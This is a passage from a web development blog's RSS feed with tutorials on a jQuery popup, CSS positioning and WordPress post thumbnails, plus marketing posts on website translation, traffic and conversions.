	<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">1.4em</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">:</span><span style="color: #933;">0.5em</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">top</span><span style="color: #00AA00;">:</span><span style="color: #933;">0.2em</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span><span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000000</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">font-weight</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">700</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span><span style="color: #993333;">block</span><span style="color: #00AA00;">;</span>
   <span style="color: #00AA00;">&#125;</span>
   <span style="color: #6666ff;">.popupClose</span><span style="color: #3333ff;">:hover </span><span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">cursor</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">pointer</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></pre></div></div>

<h3>Step Three &#8211; Build The jQuery Popup</h3>
<p>Now that you hopefully have a sweet designed look for your popup we have to add the script to control the popup.  All that you have to do for this is all the code below to your popup.js file.</p>

<div class="wp_syntax"><div class="code"><pre class="js" style="font-family:monospace;">var popupStatus = 0;
&nbsp;
function loadPopup(){
   //Will only be loaded if the status is 0
   if(popupStatus==0){
      $(&quot;.backgroundPopup&quot;).css({&quot;opacity&quot;: &quot;0.8&quot;});
      $(&quot;.backgroundPopup&quot;).fadeIn(&quot;slow&quot;);
      $(&quot;.popupContent&quot;).fadeIn(&quot;slow&quot;);
      popupStatus = 1;
   }
}
&nbsp;
//This will disable the popup when needed
function disablePopup(){
   //Will only disable if status is 1
   if(popupStatus==1){
      $(&quot;.backgroundPopup&quot;).fadeOut(&quot;slow&quot;);
      $(&quot;.popupContent&quot;).fadeOut(&quot;slow&quot;);
      popupStatus = 0;
   }
}
&nbsp;
//Centers the popup to your window size 
function centerPopup(){
   var windowWidth = document.documentElement.clientWidth;
   var windowHeight = document.documentElement.clientHeight;
   var popupHeight = $(&quot;.popupContent&quot;).height();
   var popupWidth = $(&quot;.popupContent&quot;).width();
   $(&quot;.popupContent&quot;).css({
      &quot;position&quot;: &quot;absolute&quot;,
      &quot;top&quot;: windowHeight/2-popupHeight/2,
      &quot;left&quot;: windowWidth/2-popupWidth/2
   });
   //this is needed for ie6
   $(&quot;.backgroundPopup&quot;).css({ &quot;height&quot;: windowHeight });
}
&nbsp;
//Click event controller
$(document).ready(function(){
   //Open the popup and center
   $(&quot;.button&quot;).click(function(){
      centerPopup();
      loadPopup();
   });
   //Close popup by clicking the x
   $(&quot;.popupClose&quot;).click(function(){ disablePopup(); });
   //Close popup by clicking outside the box
   $(&quot;.backgroundPopup&quot;).click(function(){ disablePopup(); });
   //Close popup by clicking escape
   $(document).keypress(function(e){
      if(e.keyCode==27 &amp;&amp; popupStatus==1){
         disablePopup();
      }
   });
});</pre></div></div>

<p>Now if you copy that code and add it to your popup.js file everything will work.  This script declares the width of your browser and determines where to put the popup automatically.  It also declares the closing abilities.  There are three of these you can click the x, push escape, or click outside the popup.  There is nothing left your popup should be working great.  Now this is a really simple jQuery popup.  There are tons of popups out there and tons of ways to do these but most aren&#8217;t this easy and light weight on your browser.  If you would like to see a demo of this in action you can <a href="http://www.shanestrong.com/jquery/popup/popup.htm" title="Demo jQuery Popup">click here</a> or you can download this demo and mess around with this your self.</p>
<a class="downloadlink" href="http://www.shanestrong.com/downloads80" title="Version1.0 downloaded 22 times" >jQuery Popup (22)</a>
<p>Anyone that might use this and find some changes that make it better I would love to see these changes and put them up on the site with you getting credit.  Please contact us.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1371&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/web-development/jquery-popup/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS Positioning</title>
		<link>http://www.shanestrong.com/html/css-positioning</link>
		<comments>http://www.shanestrong.com/html/css-positioning#comments</comments>
		<pubDate>Wed, 11 Jan 2012 06:04:09 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1908</guid>
		<description><![CDATA[Positioning in CSS is extremely simple and for most sites not needed but can be used to create a neat overlapping image effect or maybe an advertisement that scrolls with your browser. There are a lot of developers that use positions way to much in there development. You do not need a position on everything. [...]]]></description>
			<content:encoded><![CDATA[<p>Positioning in CSS is extremely simple and for most sites not needed but can be used to create a neat overlapping image effect or maybe an advertisement that scrolls with your browser.  There are a lot of developers that use positions way to much in there development.  You do not need a position on everything.  In fact everything has a position already, everything gets positioned static by default.  There are 3 other positions that you can use absolute, relative, and fixed.  Well lets start talking about each of these and how they work.</p>
<h3>Position Static</h3>
<p>This type of position as said before is set by default.  This is the most basic positioning and the simplest to explain.  Position static is simply all that it does is follows the flow of the page.  Now this might sound weird and you might wonder why it is even a position.  This is because it does not get affected by the top, bottom, right, and left properties.  This is written like this:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.yourclass</span> <span style="color: #00AA00;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">static</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<h3>Position Fixed</h3>
<p>This position is the next easiest and not really used much anymore.  This position doesn&#8217;t take anything from the normal flow of the website but conforms to the browser window.  All other elements on the page act like the fixed element doesn&#8217;t exist.  This is written like this:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.yourclass</span> <span style="color: #00AA00;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">fixed</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<h3>Position Relative</h3>
<p>Relative positioning is positioned relative to its normal position.  These elements still hold the same normal flow but are able to be moved and can be overlapped.  These elements use the space that they are given.  These are written like this:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.yourclass</span> <span style="color: #00AA00;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">relative</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<h3>Position Absolute</h3>
<p>The positioned absolute element is position relative to the parent containing element.  All other elements act like the this positioned element doesn&#8217;t exist.  If you do not have any parent container elements with positions then the position is absolute with the parent container as the html tag.  Absolute positioned elements can overlap other elements.  This is written like this:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.yourclass</span> <span style="color: #00AA00;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<h3>Understanding Positions</h3>
<p>There are a few things that a lot of people have troubles with when trying to understand positions.  The hardest thing to learn is how to control position absolute elements.  Say you have a set of code like this:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;div class=&quot;container-1&quot;&gt;
    &lt;div class=&quot;container-2&quot;&gt;
        &lt;div class=&quot;container-3&quot;&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</pre></div></div>

<p>Now lets say you would like to see the container-2 and the container-3 to be in different areas.  Well all that you would have to do is put a position absolute on them and you can move them where ever you would like.  The only issue would be that they will use the html element as their container.  So what we would want to do is limit them to only be able to more inside the container-1 element.  So we would have to add a position relative to container-1.  This means that everything inside container-1 will adopt the container-1&#8242;s layout or flow.  So say container-1 has a width of 500px and a height of 500px, container-2 and container-3 will work inside of the 500&#215;500 box.  Also because container-3 is inside of container-2 it will become the dominant element.  Meaning it will be on top.</p>
<p>That brings me to the next part overlapping.  How to control what overlaps what.  This is done by using a css function called z-index.  z-index is like a filing system.  Whatever element has the higher z-index ends up being on top of everything else.  So lets say that we have a page that looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;div class=&quot;container-1&quot;&gt;
    &lt;div class=&quot;container-2&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;container-3&quot;&gt;
    &lt;/div&gt;
&lt;/div&gt;</pre></div></div>

<p>Now with this setup we would like to see container-2 on top of container-3 and in the middle of it.  We would first have to give container-1 a position relative.  Then give container-2 a z-index of say 2 and container-3 would get a z-index of 1.  Now with z-index you can use negative numbers and go as high as 	2147483647 in most browsers.  Now you won&#8217;t find anyone using that high of a z-index.  Most people stick with a 9999.  Meaning that 9999 is the highest that they will go.  That give you the ability to have 9999 elements that are on different levels and you can go negatively also.  I try to stick to something like 50.  Most website are not going to see 50 elements that need to be positioned on top of everything else.  Back to our containers.  With giving container-2 and 3 a z-index that means that they start creating a pile/stack/order whatever you would like to call it.  Because container 2 has a higher z-index it will be on top.  So say you want to put a image on top of another image, this would work.</p>
<p>Using positions can get tricky but as I said in the beginning if you don&#8217;t need them I wouldn&#8217;t use them.  They are however a great thing to learn and mess around with.  If you would like to try out each kind of position you can go over to <a target="_blank" href="http://www.w3schools.com/css/css_positioning.asp">W3Schools</a>, they have a Positioning page that you can try out all the types and change the code.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1908&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/html/css-positioning/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Thumbnail Options</title>
		<link>http://www.shanestrong.com/wordpress-help/wordpress-thumbnail-options</link>
		<comments>http://www.shanestrong.com/wordpress-help/wordpress-thumbnail-options#comments</comments>
		<pubDate>Fri, 16 Dec 2011 19:34:44 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WordPress-Help]]></category>
		<category><![CDATA[WordPress Image Options]]></category>
		<category><![CDATA[WordPress Theme Developer]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1673</guid>
		<description><![CDATA[Most new WordPress themes have adopted the post thumbnails feature added in WordPress 2.9. This new feature is a great introduction to WordPress. It has change the way that everyone involves images into there theme. This feature really doesn&#8217;t have any disadvantages with adding it to your theme. This actually is a very useful introduction [...]]]></description>
			<content:encoded><![CDATA[<p>Most new WordPress themes have adopted the post thumbnails feature added in WordPress 2.9.  This new feature is a great introduction to WordPress.  It has change the way that everyone involves images into there theme.  This feature really doesn&#8217;t have any disadvantages with adding it to your theme.  This actually is a very useful introduction by WordPress and probably one of the best inclusions that WordPress has come out with.</p>
<h3>Adding The Setup Code</h3>
<p>One of the things that you have to do to get this feature to be activated is adding the support code in your functions.php file in your theme folder.  You can find the code below:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'add_theme_support'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
  add_theme_support<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'post-thumbnails'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>This sets up the default sizes for the featured images.  These sizes are 150&#215;150, 300&#215;300, and 640&#215;640, you can also change these sizes in the dashboard under settings->media.  Now some people might say that why is this so constricted in sizes.  Well it really isn&#8217;t you just have to add some more code to activate other sizes.  Code for this is below:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'add_theme_support'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
  add_theme_support<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'post-thumbnails'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
  add_image_size<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'category-thumb'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">300</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">9999</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//300 pixels wide (and unlimited height)</span>
  add_image_size<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'real-big-image'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1200</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">9999</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//1200 pixels wide (and unlimited height)</span>
  add_image_size<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'real-small-image'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">10</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//10 pixels wide and 10 pixels height)</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Now you say that was easy, well yes it was but if you just add that code all you will get is the ability to use those preset image sizes.  In order to use these images in your theme you have to add some code to your theme files.  Most of the time this will be in your index.php or home.php, another couple files might be your page.php or single.php.  You can use these anywhere that you would like in your theme files.  Now you might ask how do I use them and what is the code.  Well you can find it below:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>has_post_thumbnail<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
   <span style="color: #666666; font-style: italic;">//This can be whatever you want with the image</span>
   <span style="color: #339933;">&lt;</span> ?php the_post_thumbnail<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'home-post-thumb'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #339933;">&lt;</span> ?php <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
  <span style="color: #666666; font-style: italic;">//If there is no image</span>
<span style="color: #339933;">&lt;</span> ?php <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Well that is how you use the new featured image ability that WordPress has.  Now you might be thinking how do I add the images so that they work with this sweet new feature.  Once you added the first bit of code at the top, all of your pages and post in the dashboard have added a small field that you will find at the bottom right side.  Here is a image of what you will be looking for:</p>
<p><a class="clear" href="http://www.shanestrong.com/wp-content/uploads/2011/12/featured-images.png"><img src="http://www.shanestrong.com/wp-content/uploads/2011/12/featured-images.png" alt="Featured Images Side Box" title="featured-images" width="296" height="89" class="alignleft size-full wp-image-1867" /></a></p>
<p>Once you click the Set featured image, you will see the image uploader.  Now you just have to add your image and make sure that it is big enough for the area/s that you are going to be using it in.  Once you get done uploading the image you will see a spot that has insert image and next to it will be a Set as featured image.  You will want to click that and it looks like this:</p>
<p><a class="clear" href="http://www.shanestrong.com/wp-content/uploads/2011/12/set-featured-image.png"><img src="http://www.shanestrong.com/wp-content/uploads/2011/12/set-featured-image.png" alt="" title="set-featured-image" width="355" height="66" class="alignleft size-full wp-image-1868" /></a></p>
<p>One of the things that you will want to make sure you do before you click the &#8220;Use as featured image&#8221; is set the size to full.  Once you do this you have finished the featured image setup and your pictures should show up in the positions that you put the image code.  If you have any questions on this please comment and I will reply to you as fast as possible.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1673&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/wordpress-help/wordpress-thumbnail-options/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Want to Get More Traffic? Translate Your Content!</title>
		<link>http://www.shanestrong.com/translation-service/want-to-get-more-traffic-translate-your-content</link>
		<comments>http://www.shanestrong.com/translation-service/want-to-get-more-traffic-translate-your-content#comments</comments>
		<pubDate>Fri, 09 Dec 2011 06:08:13 +0000</pubDate>
		<dc:creator>mitchoconner</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Translation Service]]></category>
		<category><![CDATA[Traffic]]></category>
		<category><![CDATA[Translate]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1801</guid>
		<description><![CDATA[In May 2011, the European Commission published a report on native-language speakers and their web visiting tendencies. According to the report, 90% of participants in the study were more likely to visit a website written in their native language, if given the choice. However, 53% of the multilingual participants also reported that they would accept [...]]]></description>
			<content:encoded><![CDATA[<p>In May 2011, the <a target="_blank" href="http://econsultancy.com/us/blog/7787-should-i-translate-my-website" target="_blank">European Commission published a report</a> on native-language speakers and their web visiting tendencies. According to the report, 90% of participants in the study were more likely to visit a website written in their native language, if given the choice. However, 53% of the multilingual participants also reported that they would accept an English version of a website if that was the only version available. So, it&#8217;s clear that, if you want to target users that speak English as a second language, you should consider translating your website content, especially if you have competitors that already have a site written in the local language you want to target.</p>
<p>But website translation services can be expensive, and free translation tools can spit out content that&#8217;s nearly unreadable. So how do you set out getting your website content translated? How do you know when it&#8217;s necessary? And finally, how do you make sure that the content still meets your standards and properly delivers your message?</p>
<h3>Deciding Whether You Need to Translate Your Website</h3>
<p>One of your first tasks is, of course, deciding whether you really need to target another language at all. It&#8217;s not necessarily a wide-open market in any given language, and you might have a great deal of competition. The best way to test the waters before investing in a multilingual website is to run a test PPC advertising campaign, similar to how you might test any new keyword or niche.</p>
<ul>
<li>Leave your current site alone at first &#8212; you&#8217;re just testing traffic with this method so there&#8217;s no reason to translate any portion of your website until you get some definite data.</li>
<li>Purchase or create a simple written PPC ad that is written in the language you&#8217;d like to target with a keyword that best describes your site, but puts visitors in a buying mood. For example, if you operate a site advertising wireless Internet services from AT&#038;T, you might target the buying phrase <a target="_blank" href="http://www.clearwirelessinternet.com/att-vs-clear.html" target="_blank">AT&#038;T wireless internet comparison</a>, like this site did with its multilingual PPC campaign.</li>
<li>Point the advertisement at your English website.</li>
<li>Record visit data, even though your conversion rate will likely be very low.</li>
</ul>
<p>If you receive a large number of visitors from the PPC campaign, chances are good that the market is open and a website translation is justified. For this method, we&#8217;re not really considering conversions as part of the equation. If you do want realistic conversion data as well, especially if you&#8217;re also testing a new keyword target, you might consider creating a landing page in the local language you&#8217;re targeting.</p>
<h3>Free Website Translation Tools</h3>
<p>Free website translation tools are useful for translating content that you don&#8217;t expect to pack much of a punch &#8212; like article directory submissions or purely SEO content. But free tools can cause significant problems with your translated website. For example, automatic English to Russian translation is notorious for being absolutely unreadable to native Russian speakers. Worse, some tools can cause problems in your website tracking data. </p>
<p><strong>Google Translate:</strong> <a target="_blank" href="http://translate.google.com/translate_tools" target="_blank">Google Translate</a> is an easy-to-use and free tool that you can choose to install on a portion of your website, or the entire site, depending on your needs. You can choose to translate the copy, or install a tool that allows visitors to hover their cursor over a word for a translation of the single word. The big problem with Google Translate is that it not only looks a little dated with current web design standards, but also sends users away from your website. Once the visitor clicks for the translation, they are sent to Google for the translated page, meaning you lose a great deal of tracking data and linkbacks. </p>
<p><strong>Global Translator:</strong> If you run a WordPress site, your best option is probably <a target="_blank" href="http://wordpress.org/extend/plugins/global-translator/" target="_blank">Global Translator</a>, a WordPress plugin. This translation tool offers 41 different languages, and allows you to choose your engine, including Google Translate, Promt, FreeTranslations, and Babel Fish. This tool is likely the best free tool you&#8217;ll find for high-traffic websites that would cost a fortune to translate manually. As a bonus, the tool is very search engine optimization friendly, simply adding small language codes to your existing URLs.</p>
<h3>Paid Website Translation Services</h3>
<p>If you find that your initial language testing is yielding huge traffic numbers, you might need to consider professional, paid website translation services. A good strategy is to make sure landing pages and key content is professionally translated, while negligible content that&#8217;s really mainly for search engines is translated through a free tool. The reason for this is that website translation services can be pricey. Most services range from around $0.10 to $0.18 per word of the original content. At this moment, this blog post is around 800 words. Having this post translated, then, would cost anywhere from $80.00 to $144.00. </p>
<p>If you&#8217;re accustomed to paying $0.02 to $0.04 for your English content, paying so much for properly translated content can be a tough pill to swallow. But your conversion pages absolutely have to be properly written. You&#8217;ve likely seen content in English that was clearly written by a person that didn&#8217;t speak the language very well. How much authority did you place in that page? Was there even a remote chance you&#8217;d convert on the poorly translated page when also faced with a well written one? </p>
<p>When you look for paid website translation services, pay close attention to the fee structure. The company should charge per word on the original content, not the translated version. Expect a turnaround time of less than a week for a 10,000 word project, and don&#8217;t accept companies that charge more for faster turnaround times. </p>
<p>If you&#8217;re careful in your testing and consider how your content should function on your website, you should be able to utilize some free translation tools on your website. In the end, however, it&#8217;s best to hire a professional translator to keep your conversions high. You might even hire a second editor from a different company to make sure that the content is up to your standards. But don&#8217;t ignore translation of your website altogether &#8212; you could be missing out on an additional 47% traffic in your niche.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1801&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/translation-service/want-to-get-more-traffic-translate-your-content/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Traffic Isn&#8217;t Everything</title>
		<link>http://www.shanestrong.com/seo/traffic-isnt-everything</link>
		<comments>http://www.shanestrong.com/seo/traffic-isnt-everything#comments</comments>
		<pubDate>Thu, 28 Jul 2011 21:14:53 +0000</pubDate>
		<dc:creator>James Wilson</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Traffic]]></category>
		<category><![CDATA[Search Engine Marketing]]></category>
		<category><![CDATA[Search Engine Optimization]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1735</guid>
		<description><![CDATA[Imagine for a moment that you own a brick and mortar store somewhere. You&#8217;ve worked hard to bring visibility to your store, hired a friendly and helpful staff, and perfected your products. All day, every day, customers file through the stuffed aisles of your store, but something puzzling is happening&#8230; they&#8217;re not buying anything. You [...]]]></description>
			<content:encoded><![CDATA[<p>Imagine for a moment that you own a brick and mortar store somewhere. You&#8217;ve worked hard to bring visibility to your store, hired a friendly and helpful staff, and perfected your products. All day, every day, customers file through the stuffed aisles of your store, but something puzzling is happening&#8230; they&#8217;re not buying anything. You did everything necessary to get those customers to you, but your business seems destined to fail. Suddenly, you come face to face with a harsh reality &#8211; traffic isn&#8217;t everything.</p>
<p>While it&#8217;s often less costly, this same scenario in the online business world happens far too often. Web developers optimize tirelessly to build high traffic volume only to find their bounce rates soaring. If you&#8217;re 100% convinced that people are genuinely interested in your product or service (they should be if you&#8217;re getting that much traffic), the hard part is over. Making the most of your traffic is not difficult, but it does take a bit of patience and a whole lot of testing.</p>
<h3>Give the Readers What They Want</h3>
<p>Let&#8217;s get something out of the way first: in this post-panda world, spamming still kind of works, and that&#8217;s part of the problem. Google has yet to really nail down a lot of the keyword stuffing and content mills that they targeted with Panda, and some web developers are still using the same old SEO content tricks to build traffic. Sure, things are looking much better. When&#8217;s the last time you saw a webpage on the front of Google&#8217;s SERPs that had nothing but a single keyword repeated over and over again? But the new world of Internet marketing still has the same basic principle it&#8217;s always had &#8211; create value.</p>
<p>Valuable content (not just words, but images, videos, widgets, etc.) creates trust, which in turn inspires conversions and begins to build a brand. It&#8217;s easy to say that web developers need to be focusing on valuable content more than SEO content. But what is valuable content, really? Google&#8217;s Amit Singhal published a blog post on May 6th, 2011 discussing <a target="_blank" href="http://googlewebmastercentral.blogspot.com/2011/05/more-guidance-on-building-high-quality.html" target="_blank">what webmasters should be doing to create a high quality site</a>. Among his most important points were:</p>
<ul>
<li>Content should feel like it was written by an expert or an enthusiast who knows the topic inside and out.</li>
<li>Content should be free of errors (grammatical and factual) and make sense stylistically.</li>
<li>All website content has to be original (Google is also expecting original research, not the same studies cited over and over again).</li>
<li>A website as a whole should offer substantially more value than its competition.</li>
<li>Could the content be published in a print magazine or book?</li>
</ul>
<p>Once you have created unique and valuable content packed full of information, remember that bad monetization can do more harm than good. Website visitors are simply turned off by websites that are loaded with advertisements. If your website looks like it was built purely to get sales, your traffic will be less likely to trust you. So, instead of aggressively putting ads on every page of your site, chose the ads that make the most sense in context of the page.</p>
<h3>Choosing the Right Products</h3>
<p>Far too many web developers tend to grasp at advertisers. This is especially true with blog owners that simply sell their ad space to the highest bidder (especially with text links). But ask yourself one simple question &#8211; does the ad I&#8217;m putting in front of the reader make sense?</p>
<p>You would probably be surprised to walk into your local McDonald&#8217;s to buy a cheeseburger, only to find out that this particular location specializes only in fine Turkish rugs at discount prices. Why should this be any different online? If you have a page on your website that discusses the advantages of <a target="_blank" href="http://www.clearwirelessinternet4g.com/clear-deals.html" target="_blank">Clear 4G internet</a>, how well do you think an ad for dog food is going to do? Furthermore, aim to keep advertisements in line with your content itself. Insert ads within the content where they make sense, not just in the sidebar. But if your ads are working just fine in the sidebar, don&#8217;t just move them right away. We&#8217;ll get to split testing next.</p>
<p>If you&#8217;re in a niche that has some tough sell products, or you&#8217;re having trouble finding the right product to fit your content, you have a few options.</p>
<h3>Split Testing and CTAs</h3>
<p>Split testing is the process of literally splitting different advertising techniques onto different pages and checking the click rates after a testing period. The length of the testing period depends on the amount of traffic you get on those pages. With a few hundred visitors a day, you&#8217;ll have enough data in a few days. Sites with less traffic might take a week or two. Google offers a <a target="_blank" href="http://www.google.com/websiteoptimizer/b/index.html" target="_blank">great website optimizer for split testing</a>.</p>
<p>Another good testing product is the CrazyEgg CTA heatmap. This tool shows you where your visitors are clicking on your web page. I&#8217;ve used this tool many times to test my own sites. One interesting thing I found was the amount of clicks I got on the header &#8220;About Us&#8221; link. You have no idea how tempting it was to redirect that link to an affiliate site, by the way&#8230; but something tells me that wouldn&#8217;t have turned out very well for me in the end. It&#8217;s not a free tool, but the basic plan doesn&#8217;t cost any more than your average hosting plan.</p>
<h3>Open Up to Your Readers</h3>
<p>It doesn&#8217;t hurt to ask your audience what they would like to see. If you&#8217;ve built a trusting relationship with your audience, they probably won&#8217;t mind if you ask them what products and services they would buy on your site. It&#8217;s certainly better to ask them than to suddenly see your inbox fill up with complaints about your new pop-ups and peel-aways that you thought they would love.</p>
<p>Most website visitors understand that you can&#8217;t offer a quality product for free. More often than not, ads that ask readers to personally try a product tend to do much better than a random advertisement on your sidebar. Try using anchor text like &#8220;click here to test the product yourself&#8221; to engage your visitors. It&#8217;s a pretty good feeling being asked how you feel about a change to a website as a reader, and then seeing the change happen.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1735&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/seo/traffic-isnt-everything/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Building Websites and Conversions</title>
		<link>http://www.shanestrong.com/web-design/building-websites-and-conversions</link>
		<comments>http://www.shanestrong.com/web-design/building-websites-and-conversions#comments</comments>
		<pubDate>Thu, 14 Apr 2011 19:50:05 +0000</pubDate>
		<dc:creator>WebDesignWomen</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Conversions]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1666</guid>
		<description><![CDATA[When people think about building websites and web design, thoughts of fancy, graphic-heavy or flash-driven websites come to mind. However, in reality, what a business should look into with their website is conversions. Sometimes the ugliest websites online convert a high percentage of visitors into paid customers. That is why it is important for web [...]]]></description>
			<content:encoded><![CDATA[<p>When people think about building websites and web design, thoughts of fancy, graphic-heavy or flash-driven websites come to mind. However, in reality, what a business should look into with their website is conversions. Sometimes the ugliest websites online convert a high percentage of visitors into paid customers. That is why it is important for web designers to split test their designs to see which layouts, colors, and other variations lead to the best conversion rates for the business. The following are some aspects of a site&#8217;s design that can make it convert better along with example sites.</p>
<h3>A Simple and Clean Overall Look</h3>
<p>Rather than bombard a website with many flashy animations or over-the-top artistry, sometimes sticking to the basics just works. You want your customers to understand what your business is all about along with the products and services you business provides. If you make the design too complicated, website visitors will get all distracted by those factors and might totally miss the point or message you&#8217;re trying to get across.</p>
<p>Take this simple site <a target="_blank" href="http://www.gopromotional.com">http://www.gopromotional.com</a> , on promotional gifts for example. It has a nice, clean look and feel to it that is simple and straightforward. With just a quick glance, you can tell what this company is all about. The navigation bar is well laid out, so this is a smooth and easy browsing experience for the user.</p>
<h3>Large, Easy to Find Calls to Action</h3>
